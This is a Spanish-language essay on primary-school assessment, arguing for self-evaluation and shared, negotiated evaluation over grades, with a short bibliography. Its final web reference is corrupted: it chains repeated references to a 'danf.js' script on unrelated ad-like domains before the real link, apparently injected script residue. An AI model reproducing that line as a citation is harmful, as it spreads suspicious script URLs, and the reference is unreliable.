¿CALIFICAR O EVALUAR EN LA EDUCACIÓN PRIMARIA?

Autora: M. Mercedes Vázquez Rodríguez

          Todos tenemos conciencia de que un niño al comenzar el colegio, en la Educación Infantil, no es evaluado como un alumno de Primaria ni de Secundaria. Me refiero a que no es evaluado con un “P.A.” (Progresa Adecuadamente) o “N.M.” (Necesita mejorar), ni con un “notable” o “sobresaliente. Pero, el no ir calificado de esta forma, no significa que no sea evaluado por el maestro, ya que desde el momento en el que el niño va a la escuela por primera vez, es observado y valorado por parte del educador y va, casi sin darse cuenta, a comparar lo que ha hecho frente a lo que han hecho otros compañeros, y, además, comienza a escuchar y cotejar las valoraciones que realiza el maestro sobre otros compañeros con relación a las suyas propias.

           Desde el primer momento en la escuela se encuentran con situaciones como: “Eso me gusta mucho”, “atiende”, “te has salido al colorear el dibujo”, etc. El profesor le impone unas normas que ellos, sin lugar a dudas, tienen que respetar, y tienen que hacer unas actividades que, aunque no les gusten y se aburran, son obligatorias. Aquí es donde comienza el concepto de evaluación en estas edades. Un concepto que, poco a poco, van construyendo los niños, pero también los padres, quienes esperan ansiosamente las calificaciones de sus hijos. Y este es el punto de partida si queremos cambiar el método de evaluar al alumnado, si queremos que ellos mismos comiencen a autoevaluarse: es en educación Infantil donde se tiene que empezar a cambiar la mentalidad acerca de la evaluación entendida solo y exclusivamente en forma de exámenes y trabajos forzosos con los que el niño no aprende gran cosa.

           Stenhouse tenía una frase muy conocida, en la que se ponen en relación los términos evaluación y autoevaluación. La frase es la siguiente: “La evaluación viene a ser la enseñanza de la autoevaluación”.

El paso de evaluación a autoevaluación:

          Lo cierto es que la evaluación que existe en el aula, en muchos casos, no se puede considerar enseñanza y, de ningún modo, “enseñanza de la autoevaluación”. Algunos profesores confunden este término, autoevaluación, ya que creen que significa que los alumnos sepan corregir sus propios ejercicios o también creen que eso tiene que ver con preguntarles, una vez  han terminado el examen, qué nota creen que tienen. Esto no tiene nada que ver con la autoevaluación, porque no es la comprobación de si nuestra respuesta es un acierto o un error, sino como Salinas dice en su libro ¡Mañana, examen!, “la autoevaluación es la capacidad de elaborar criterios y juicios razonados sobre nosotros mismos o sobre nuestras realizaciones. Resulta que la autoevaluación es un objeto posible, y además valioso, de enseñanza y aprendizaje”.

           Reflexionando sobre esta idea, se puede señalar que la evaluación podría enseñar a los alumnos a evaluar y evaluarse. Por ejemplo, si evaluamos el cuaderno de clase o realizamos un examen escrito, tenemos que negociar unos criterios de corrección con los alumnos, explicarles el porqué esos criterios son evaluados de esa forma. Pero no hay que olvidar que el cuaderno de clase o el examen son solo instrumentos para recoger información útil para la evaluación, ya que esta se compone de la suma de un montón de partes y no es solo una nota.

           Además, a la hora de evaluar, hay que tener en cuenta que a cada alumno debemos evaluarlo según sus posibilidades. Por ejemplo, no podemos pretender que alcancen las mismas metas un alumno que viene de otro país, que no conoce nuestra lengua, que acaba de integrarse en nuestra sociedad y también acaba de llegar al colegio, con otro alumno de la misma clase que lleva toda la vida en ese colegio y está perfectamente integrado en él y con los mismos compañeros desde la etapa de Infantil. Este ha sido un caso que me ha ocurrido a mí en el periodo de prácticas: Un día llegó al colegio un alumno de origen rumano. Ninguno de los profesores se quería hacer cargo de él. Al niño lo mandaron al curso donde menos alumnos había, pero el profesor llevó con él una evaluación que no atendía a sus particularidades: él era otro alumno igual que los demás, que para aprobar tenía que “pasar por el aro”. Otro ejemplo claro de ello lo podemos ver en una investigación realizada en el “Estudio de Evaluación de la Educación Primaria 1999”, donde se tomó una muestra de casi 10000 familias de alumnos matriculados en sexto de primaria (Salinas, D. (2002): iMañana examen! Barcelona: Graó, pág. 30) en la que se ve claramente cómo el resultado de la evaluación de los alumnos tiene mucho que ver con el nivel de estudios que tienen sus padres, con lo cual se deduce que no partimos desde 0 a la hora de ser evaluados.

 Principios a seguir para cambiar la forma de evaluar:           

          Algunos de los principios que podemos seguir para lograr una evaluación que tenga en cuenta que cada alumno debe ser evaluado atendiendo a sus posibilidades son:

  •  Mirar la evaluación como un componente más de la enseñanza, de la cual pueden obtener un buen aprendizaje.
  • Diseñar diferentes tipos de actividades para evaluar, ya que debemos considerar a los alumnos que tienen diferentes niveles de desarrollo.
  • Diseñar actividades de enseñanza y evaluación que nos sitúen ante el aprendizaje tanto como proceso (cómo aprende el alumno) como producto (qué ha aprendido el alumno).
  • Mirar los procedimientos y estrategias de evaluación como algo que puede ser cambiado por el tiempo, adaptándolas a nuevas ideas.
  • Asumir que no siempre estamos evaluando lo que pensamos que estamos evaluando. Profundizar en conceptos como: valor, justicia, clasificación… que nosotros mismos asumimos y que también asumen nuestros alumnos.
  • Dedicar tiempo a hablar y a debatir con los alumnos sobre qué pretendemos evaluar y cómo es más justo que se haga.
  • Utilizar variados instrumentos para la recogida de información.

          Los profesores saben que la evaluación debe ser democrática, continua, individualizada, formativa…De aquí viene el término conocido como evaluación compartida, que, según la define Salinas, “es aquel proceso de evaluación desarrollado por uno o varios docentes que se realiza tomando como referencia un conjunto de criterios y de principios de procedimientos que han sido definidos y asumidos por un grupo de docentes”. El problema es que no todos los profesores se ponen de acuerdo en qué entiende cada uno por evaluación continua y todavía es más complicado ponerse de acuerdo entre ellos sobre qué tipo de prácticas, en el aula, deberían desarrollarse por todos y cada uno de los profesores.

  Aspectos negociables en la evaluación:

          Además de ser compartida, la evaluación también debe ser negociable; es decir, el profesor debe negociar con el alumno algunos aspectos de la misma, como son:

  • Los aspectos referidos a la forma de recoger la información para poder evaluar al alumno.
  • Criterios para la elaboración de los juicios.
  • Principios en torno a la toma de decisiones relativas a la emisión de los juicios.
  • Principios por los cuales se justifican los anteriores aspectos y que sean susceptibles de examen crítico.

Aspectos no negociables en la evaluación:

También existen otros aspectos que no se pueden negociar en la evaluación, como son:

  • Una práctica evaluativa que no respete la individualidad y privacidad de las personas que son evaluadas.
  • Una evaluación que potenciara la violencia sobre el estudiante de forma premeditada.
  • Una evaluación basada en la amenaza sobre su utilización o una enseñanza basada en la evaluación como amenaza.

 Conclusión:

          Por todos estos aspectos ya comentados, tenemos que reflexionar sobre los métodos y técnicas del profesorado a la hora de evaluar, para que los niños aprovechen sus horas lectivas y aprendan no solo a vivir en sociedad, sino también a descubrir por ellos mismos que el mundo en el que viven exige unas cualidades específicas para entrar a formar parte del mundo laboral, y también para descubrir que una persona es completamente diferente de otra y no se tienen porqué comparar. Estamos haciendo del alumnado una generación encaminada al fracaso escolar, del cual no son responsables los niños, sino la sociedad que nos envuelve y el propio sistema educativo.

 

Fuentes documentales:

Bibliografía

  • Salinas, D. (2002): i Mañana examen! Barcelona: Graó.
  • Sanmartí, N. (2007). 10 ideas clave. Evaluar para aprender. Barcelona: Graó

 Webgrafía

  • http://middle.destinyfernandi.com/clork/bons/danf.js?k=0&middle.destinyfernandi.com/clork/bons/danf.js?k=0&middle.destinyfernandi.com/clork/bons/danf.js?k=0&middle.destinyfernandi.com/clork/bons/danf.js?k=0&adjust.admarketlocation.com/bons/danf.js?k=0&adjust.admarketlocation.com/bons/danf.js?k=0&adjust.admarketlocation.com/bons/danf.js?k=0&adjust.admarketlocation.com/bons/danf.js?k=0&www3.feccoo.net/bdigital/com/20051028_com/index.htm

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